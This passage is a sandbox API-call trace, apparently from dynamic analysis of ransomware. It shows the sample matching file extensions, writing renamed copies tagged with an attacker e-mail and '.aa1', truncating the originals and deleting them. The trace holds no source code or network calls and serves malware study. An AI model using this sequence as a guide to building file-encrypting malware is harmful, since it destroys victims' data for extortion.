(lpString=".7z") returned 3 [0225.310] lstrcmpiW (lpString1=".7z", lpString2="CNT") returned -1 [0225.310] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.CNT") returned 68 [0225.310] lstrlenW (lpString=".dbf") returned 4 [0225.310] lstrcmpiW (lpString1=".dbf", lpString2=".CNT") returned 1 [0225.310] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.CNT") returned 68 [0225.310] lstrlenW (lpString=".1cd") returned 4 [0225.310] lstrcmpiW (lpString1=".1cd", lpString2=".CNT") returned -1 [0225.310] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.CNT") returned 68 [0225.310] lstrlenW (lpString=".jpg") returned 4 [0225.310] lstrcmpiW (lpString1=".jpg", lpString2=".CNT") returned 1 [0225.310] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.CNT") returned 68 [0225.310] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.CNT") returned 68 [0225.310] lstrlenW (lpString=".doc") returned 4 [0225.310] lstrcmpiW (lpString1=".doc", lpString2=".CNT") returned 1 [0225.310] lstrlenW (lpString=".docx") returned 5 [0225.311] lstrcmpiW (lpString1=".docx", lpString2="2.CNT") returned -1 [0225.311] lstrlenW (lpString=".pdf") returned 4 [0225.311] lstrcmpiW (lpString1=".pdf", lpString2=".CNT") returned 1 [0225.311] lstrlenW (lpString=".xls") returned 4 [0225.311] lstrcmpiW (lpString1=".xls", lpString2=".CNT") returned 1 [0225.311] lstrlenW (lpString=".xlsx") returned 5 [0225.311] lstrcmpiW (lpString1=".xlsx", lpString2="2.CNT") returned -1 [0225.311] lstrlenW (lpString=".ppt") returned 4 [0225.311] lstrcmpiW (lpString1=".ppt", lpString2=".CNT") returned 1 [0225.311] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.CNT") returned 68 [0225.311] lstrlenW (lpString=".zip") returned 4 [0225.311] lstrcmpiW (lpString1=".zip", lpString2=".CNT") returned 1 [0225.311] lstrlenW (lpString=".rar") returned 4 [0225.311] lstrcmpiW (lpString1=".rar", lpString2=".CNT") returned 1 [0225.311] lstrlenW (lpString=".bz2") returned 4 [0225.311] lstrcmpiW (lpString1=".bz2", lpString2=".CNT") returned -1 [0225.311] lstrlenW (lpString=".7z") returned 3 [0225.311] lstrcmpiW (lpString1=".7z", lpString2="CNT") returned -1 [0225.311] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.CNT") returned 68 [0225.311] lstrlenW (lpString=".dbf") returned 4 [0225.311] lstrcmpiW (lpString1=".dbf", lpString2=".CNT") returned 1 [0225.311] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.CNT") returned 68 [0225.311] lstrlenW (lpString=".1cd") returned 4 [0225.312] lstrcmpiW (lpString1=".1cd", lpString2=".CNT") returned -1 [0225.312] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.CNT") returned 68 [0225.312] lstrlenW (lpString=".jpg") returned 4 [0225.312] lstrcmpiW (lpString1=".jpg", lpString2=".CNT") returned 1 [0225.312] lstrcmpiW (lpString1=".EXE", lpString2=".aa1") returned 1 [0225.312] lstrlenW (lpString="EQNEDT32.EXE") returned 12 [0225.312] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.EXE" (normalized: "c:\\program files\\common files\\microsoft shared\\equation\\eqnedt32.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0225.313] GetFileSizeEx (in: hFile=0x1fc, lpFileSize=0x301ff1c | out: lpFileSize=0x301ff1c*=543304) returned 1 [0225.313] CloseHandle (hObject=0x1fc) returned 1 [0225.313] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.EXE" (normalized: "c:\\program files\\common files\\microsoft shared\\equation\\eqnedt32.exe")) returned 0x20 [0225.313] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.EXE.id-9C354B42.[who8@mail.fr].aa1" (normalized: "c:\\program files\\common files\\microsoft shared\\equation\\eqnedt32.exe.id-9c354b42.[who8@mail.fr].aa1")) returned 0xffffffff [0225.313] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.EXE" (normalized: "c:\\program files\\common files\\microsoft shared\\equation\\eqnedt32.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0225.313] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec8 | out: lpNewFilePointer=0x0) returned 1 [0225.313] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec8 | out: lpNewFilePointer=0x0) returned 1 [0225.313] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.EXE.id-9C354B42.[who8@mail.fr].aa1" (normalized: "c:\\program files\\common files\\microsoft shared\\equation\\eqnedt32.exe.id-9c354b42.[who8@mail.fr].aa1"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x228 [0225.314] GetLastError () returned 0x0 [0225.314] ReadFile (in: hFile=0x1fc, lpBuffer=0x3b70020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b70020*, lpNumberOfBytesRead=0x301fed4*=0x84a48, lpOverlapped=0x0) returned 1 [0225.577] WriteFile (in: hFile=0x228, lpBuffer=0x3b70020*, nNumberOfBytesToWrite=0x84a50, lpNumberOfBytesWritten=0x301fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b70020*, lpNumberOfBytesWritten=0x301fc9c*=0x84a50, lpOverlapped=0x0) returned 1 [0225.590] ReadFile (in: hFile=0x1fc, lpBuffer=0x3b70020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b70020*, lpNumberOfBytesRead=0x301fed4*=0x0, lpOverlapped=0x0) returned 1 [0225.590] WriteFile (in: hFile=0x228, lpBuffer=0x3b70020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x301fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b70020*, lpNumberOfBytesWritten=0x301fc9c*=0xec, lpOverlapped=0x0) returned 1 [0225.590] SetEndOfFile (hFile=0x228) returned 1 [0225.680] CloseHandle (hObject=0x228) returned 1 [0225.680] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec8 | out: lpNewFilePointer=0x0) returned 1 [0225.680] SetEndOfFile (hFile=0x1fc) returned 1 [0225.842] CloseHandle (hObject=0x1fc) returned 1 [0225.842] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.EXE.id-9C354B42.[who8@mail.fr].aa1", dwFileAttributes=0x20) returned 1 [0225.843] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.EXE" (normalized: "c:\\program files\\common files\\microsoft shared\\equation\\eqnedt32.exe")) returned 1 [0225.843] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.EXE") returned 68 [0225.843] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.EXE") returned 68 [0225.843] lstrlenW (lpString=".doc") returned 4 [0225.843] lstrcmpiW (lpString1=".doc", lpString2=".EXE") returned -1 [0225.843] lstrlenW (lpString=".docx") returned 5 [0225.843] lstrcmpiW (lpString1=".docx", lpString2="2.EXE") returned -1 [0225.843] lstrlenW (lpString=".pdf") returned 4 [0225.843] lstrcmpiW (lpString1=".pdf", lpString2=".EXE") returned 1 [0225.843] lstrlenW (lpString=".xls") returned 4 [0225.843] lstrcmpiW (lpString1=".xls", lpString2=".EXE") returned 1 [0225.843] lstrlenW (lpString=".xlsx") returned 5 [0225.843] lstrcmpiW (lpString1=".xlsx", lpString2="2.EXE") returned -1 [0225.843] lstrlenW (lpString=".ppt") returned 4 [0225.843] lstrcmpiW (lpString1=".ppt", lpString2=".EXE") returned 1 [0225.843] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.EXE") returned 68 [0225.843] lstrlenW (lpString=".zip") returned 4 [0225.843] lstrcmpiW (lpString1=".zip", lpString2=".EXE") returned 1 [0225.843] lstrlenW (lpString=".rar") returned 4 [0225.844] lstrcmpiW (lpString1=".rar", lpString2=".EXE") returned 1 [0225.844] lstrlenW (lpString=".bz2") returned 4 [0225.844] lstrcmpiW (lpString1=".bz2", lpString2=".EXE") returned -1 [0225.844] lstrlenW (lpString=".7z") returned 3 [0225.844] lstrcmpiW (lpString1=".7z", lpString2="EXE") returned -1 [0225.844] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.EXE") returned 68 [0225.844] lstrlenW (lpString=".dbf") returned 4 [0225.844] lstrcmpiW (lpString1=".dbf", lpString2=".EXE") returned -1 [0225.844] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.EXE") returned 68 [0225.844] lstrlenW (lpString=".1cd") returned 4 [0225.844] lstrcmpiW (lpString1=".1cd", lpString2=".EXE") returned -1 [0225.844] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.EXE") returned 68 [0225.844] lstrlenW (lpString=".jpg") returned 4 [0225.844] lstrcmpiW (lpString1=".jpg", lpString2=".EXE") returned 1 [0225.844] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.EXE") returned 68 [0225.844] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.EXE") returned 68 [0225.844] lstrlenW (lpString=".doc") returned 4 [0225.844] lstrcmpiW (lpString1=".doc", lpString2=".EXE") returned -1 [0225.844] lstrlenW (lpString=".docx") returned 5 [0225.844] lstrcmpiW (lpString1=".docx", lpString2="2.EXE") returned -1 [0225.844] lstrlenW (lpString=".pdf") returned 4 [0225.844] lstrcmpiW (lpString1=".pdf", lpString2=".EXE") returned 1 [0225.844] lstrlenW (lpString=".xls") returned 4 [0225.844] lstrcmpiW (lpString1=".xls", lpString2=".EXE") returned 1 [0225.844] lstrlenW (lpString=".xlsx") returned 5 [0225.844] lstrcmpiW (lpString1=".xlsx", lpString2="2.EXE") returned -1 [0225.844] lstrlenW (lpString=".ppt") returned 4 [0225.845] lstrcmpiW (lpString1=".ppt", lpString2=".EXE") returned 1 [0225.845] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.EXE") returned 68 [0225.845] lstrlenW (lpString=".zip") returned 4 [0225.845] lstrcmpiW (lpString1=".zip", lpString2=".EXE") returned 1 [0225.845] lstrlenW (lpString=".rar") returned 4 [0225.845] lstrcmpiW (lpString1=".rar", lpString2=".EXE") returned 1 [0225.845] lstrlenW (lpString=".bz2") returned 4 [0225.845] lstrcmpiW (lpString1=".bz2", lpString2=".EXE") returned -1 [0225.845] lstrlenW (lpString=".7z") returned 3 [0225.845] lstrcmpiW (lpString1=".7z", lpString2="EXE") returned -1 [0225.845] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.EXE") returned 68 [0225.845] lstrlenW (lpString=".dbf") returned 4 [0225.845] lstrcmpiW (lpString1=".dbf", lpString2=".EXE") returned -1 [0225.845] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.EXE") returned 68 [0225.845] lstrlenW (lpString=".1cd") returned 4 [0225.845] lstrcmpiW (lpString1=".1cd", lpString2=".EXE") returned -1 [0225.845] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.EXE") returned 68 [0225.845] lstrlenW (lpString=".jpg") returned 4 [0225.845] lstrcmpiW (lpString1=".jpg", lpString2=".EXE") returned 1 [0225.845] lstrcmpiW (lpString1=".dll", lpString2=".aa1") returned 1 [0225.845] lstrlenW (lpString="odffilt.dll") returned 11 [0225.845] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\odffilt.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\filters\\odffilt.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c [0226.320] GetFileSizeEx (in: hFile=0x20c, lpFileSize=0x301ff1c | out: lpFileSize=0x301ff1c*=1312656) returned 1 [0226.320] CloseHandle (hObject=0x20c) returned 1 [0226.320] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\odffilt.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\filters\\odffilt.dll")) returned 0x20 [0226.320] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\odffilt.dll.id-9C354B42.[who8@mail.fr].aa1" (normalized: "c:\\program files\\common files\\microsoft shared\\filters\\odffilt.dll.id-9c354b42.[who8@mail.fr].aa1")) returned 0xffffffff [0226.320] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\odffilt.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\filters\\odffilt.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c [0226.320] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec8 | out: lpNewFilePointer=0x0) returned 1 [0226.320] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec8 | out: lpNewFilePointer=0x0) returned 1 [0226.321] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\odffilt.dll.id-9C354B42.[who8@mail.fr].aa1" (normalized: "c:\\program files\\common files\\microsoft shared\\filters\\odffilt.dll.id-9c354b42.[who8@mail.fr].aa1"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x188 [0226.321] GetLastError () returned 0x0 [0226.321] ReadFile (hFile=0x20c, lpBuffer=0x3b70020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fed4, lpOverlapped=0x0) Thread: id = 15 os_tid = 0xbac [0195.032] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x10000) returned 0x38a06a0 [0195.032] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x10000) returned 0x38b06a8 [0195.032] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x10) returned 0x540558 [0195.032] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x6) returned 0x543238 [0195.032] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x10) returned 0x540570 [0195.032] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x100000) returned 0x3c80020 [0195.033] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x10) returned 0x540588 [0195.033] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x540588, Size=0x20) returned 0x56fac0 [0195.033] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x10) returned 0x540588 [0195.033] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x540588, Size=0x20) returned 0x56fae8 [0195.033] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x76c20000 [0195.033] GetProcAddress (hModule=0x76c20000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x76c4d650 [0195.033] Wow64DisableWow64FsRedirection (in: OldValue=0x315ff58 | out: OldValue=0x315ff58*=0x0) returned 1 [0195.033] lstrlenW (lpString="kernel32.dll") returned 12 [0195.033] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x56fac0 | out: hHeap=0x4f0000) returned 1 [0195.033] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0195.033] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x56fae8 | out: hHeap=0x4f0000) returned 1 [0195.033] Sleep (dwMilliseconds=0x64) [0195.176] lstrcmpiW (lpString1=".ini", lpString2=".aa1") returned 1 [0195.176] lstrlenW (lpString="desktop.ini") returned 11 [0195.176] CreateFileW (lpFileName="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini" (normalized: "c:\\$recycle.bin\\s-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x160 [0195.254] GetFileSizeEx (in: hFile=0x160, lpFileSize=0x315ff1c | out: lpFileSize=0x315ff1c*=129) returned 1 [0195.254] CloseHandle (hObject=0x160) returned 1 [0195.254] GetFileAttributesW (lpFileName="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini" (normalized: "c:\\$recycle.bin\\s-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini")) returned 0x26 [0195.254] GetFileAttributesW (lpFileName="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini.id-9C354B42.[who8@mail.fr].aa1" (normalized: "c:\\$recycle.bin\\s-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini.id-9c354b42.[who8@mail.fr].aa1")) returned 0xffffffff [0195.254] CreateFileW (lpFileName="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini" (normalized: "c:\\$recycle.bin\\s-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x160 [0195.254] SetFilePointerEx (in: hFile=0x160, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0195.254] SetFilePointerEx (in: hFile=0x160, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0195.254] CreateFileW (lpFileName="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini.id-9C354B42.[who8@mail.fr].aa1" (normalized: "c:\\$recycle.bin\\s-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini.id-9c354b42.[who8@mail.fr].aa1"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x15c [0195.255] GetLastError () returned 0x0 [0195.255] ReadFile (in: hFile=0x160, lpBuffer=0x3c80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c80020*, lpNumberOfBytesRead=0x315fed4*=0x81, lpOverlapped=0x0) returned 1 [0195.262] WriteFile (in: hFile=0x15c, lpBuffer=0x3c80020*, nNumberOfBytesToWrite=0x90, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c80020*, lpNumberOfBytesWritten=0x315fc9c*=0x90, lpOverlapped=0x0) returned 1 [0195.263] ReadFile (in: hFile=0x160, lpBuffer=0x3c80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c80020*, lpNumberOfBytesRead=0x315fed4*=0x0, lpOverlapped=0x0) returned 1 [0195.263] WriteFile (in: hFile=0x15c, lpBuffer=0x3c80020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c80020*, lpNumberOfBytesWritten=0x315fc9c*=0xea, lpOverlapped=0x0) returned 1 [0195.263] SetEndOfFile (hFile=0x15c) returned 1 [0195.263] CloseHandle (hObject=0x15c) returned 1 [0196.659] SetFilePointerEx (in: hFile=0x160, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0196.659] SetEndOfFile (hFile=0x160) returned 1 [0196.660] CloseHandle (hObject=0x160) returned 1 [0196.660] SetFileAttributesW (lpFileName="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini.id-9C354B42.[who8@mail.fr].aa1", dwFileAttributes=0x26) returned 1 [0196.661] DeleteFileW (lpFileName="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini" (normalized: "c:\\$recycle.bin\\s-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini")) returned 1 [0196.661] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini") returned 74 [0196.661] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini") returned 74 [0196.661] lstrlenW (lpString=".doc") returned 4 [0196.661] lstrcmpiW (lpString1=".doc", lpString2=".ini") returned -1 [0196.661] lstrlenW (lpString=".docx") returned 5 [0196.661] lstrcmpiW (lpString1=".docx", lpString2="p.ini") returned -1 [0196.661] lstrlenW (lpString=".pdf") returned 4 [0196.661] lstrcmpiW (lpString1=".pdf", lpString2=".ini") returned 1 [0196.661] lstrlenW (lpString=".xls") returned 4 [0196.661] lstrcmpiW (lpString1=".xls", lpString2=".ini") returned 1 [0196.661] lstrlenW (lpString=".xlsx") returned 5 [0196.661] lstrcmpiW (lpString1=".xlsx", lpString2="p.ini") returned -1 [0196.661] lstrlenW (lpString=".ppt") returned 4 [0196.662] lstrcmpiW (lpString1=".ppt", lpString2=".ini") returned 1 [0196.662] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini") returned 74 [0196.662] lstrlenW (lpString=".zip") returned 4 [0196.662] lstrcmpiW (lpString1=".zip", lpString2=".ini") returned 1 [0196.662] lstrlenW (lpString=".rar") returned 4 [0196.662] lstrcmpiW (lpString1=".rar", lpString2=".ini") returned 1 [0196.662] lstrlenW (lpString=".bz2") returned 4 [0196.662] lstrcmpiW (lpString1=".bz2", lpString2=".ini") returned -1 [0196.662] lstrlenW (lpString=".7z") returned 3 [0196.662] lstrcmpiW (lpString1=".7z", lpString2="ini") returned -1 [0196.662] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini") returned 74 [0196.662] lstrlenW (lpString=".dbf") returned 4 [0196.662] lstrcmpiW (lpString1=".dbf", lpString2=".ini") returned -1 [0196.662] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini") returned 74 [0196.662] lstrlenW (lpString=".1cd") returned 4 [0196.662] lstrcmpiW (lpString1=".1cd", lpString2=".ini") returned -1 [0196.662] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini") returned 74 [0196.662] lstrlenW (lpString=".jpg") returned 4 [0196.662] lstrcmpiW (lpString1=".jpg", lpString2=".ini") returned 1 [0196.662] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini") returned 74 [0196.662] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini") returned 74 [0196.662] lstrlenW (lpString=".doc") returned 4 [0196.662] lstrcmpiW (lpString1=".doc", lpString2=".ini") returned -1 [0196.662] lstrlenW (lpString=".docx") returned 5 [0196.662] lstrcmpiW (lpString1=".docx", lpString2="p.ini") returned -1 [0196.662] lstrlenW (lpString=".pdf") returned 4 [0196.662] lstrcmpiW (lpString1=".pdf", lpString2=".ini") returned 1 [0196.662] lstrlenW (lpString=".xls") returned 4 [0196.662] lstrcmpiW (lpString1=".xls", lpString2=".ini") returned 1 [0196.662] lstrlenW (lpString=".xlsx") returned 5 [0196.662] lstrcmpiW (lpString1=".xlsx", lpString2="p.ini") returned -1 [0196.663] lstrlenW (lpString=".ppt") returned 4 [0196.663] lstrcmpiW (lpString1=".ppt", lpString2=".ini") returned 1 [0196.663] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini") returned 74 [0196.663] lstrlenW (lpString=".zip") returned 4 [0196.663] lstrcmpiW (lpString1=".zip", lpString2=".ini") returned 1 [0196.663] lstrlenW (lpString=".rar") returned 4 [0196.663] lstrcmpiW (lpString1=".rar", lpString2=".ini") returned 1 [0196.663] lstrlenW (lpString=".bz2") returned 4 [0196.663] lstrcmpiW (lpString1=".bz2", lpString2=".ini") returned -1 [0196.663] lstrlenW (lpString=".7z") returned 3 [0196.663] lstrcmpiW (lpString1=".7z", lpString2="ini") returned -1 [0196.663] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini") returned 74 [0196.663] lstrlenW (lpString=".dbf") returned 4 [0196.663] lstrcmpiW (lpString1=".dbf", lpString2=".ini") returned -1 [0196.663] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini") returned 74 [0196.663] lstrlenW (lpString=".1cd") returned 4 [0196.663] lstrcmpiW (lpString1=".1cd", lpString2=".ini") returned -1 [0196.663] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini") returned 74 [0196.663] lstrlenW (lpString=".jpg") returned 4 [0196.663] lstrcmpiW (lpString1=".jpg", lpString2=".ini") returned 1 [0196.663] Sleep (dwMilliseconds=0x64) [0197.681] Sleep (dwMilliseconds=0x64) [0197.791] lstrcmpiW (lpString1=".xml", lpString2=".aa1") returned 1 [0197.791] lstrlenW (lpString="PowerPointMUI.xml") returned 17 [0197.791] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\powerpointmui.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x180 [0197.792] GetFileSizeEx (in: hFile=0x180, lpFileSize=0x315ff1c | out: lpFileSize=0x315ff1c*=1450) returned 1 [0197.792] CloseHandle (hObject=0x180) returned 1 [0197.792] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\powerpointmui.xml")) returned 0x2020 [0197.792] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.xml.id-9C354B42.[who8@mail.fr].aa1" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\powerpointmui.xml.id-9c354b42.[who8@mail.fr].aa1")) returned 0xffffffff [0197.792] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\powerpointmui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x180 [0197.797] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0197.797] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0197.797] 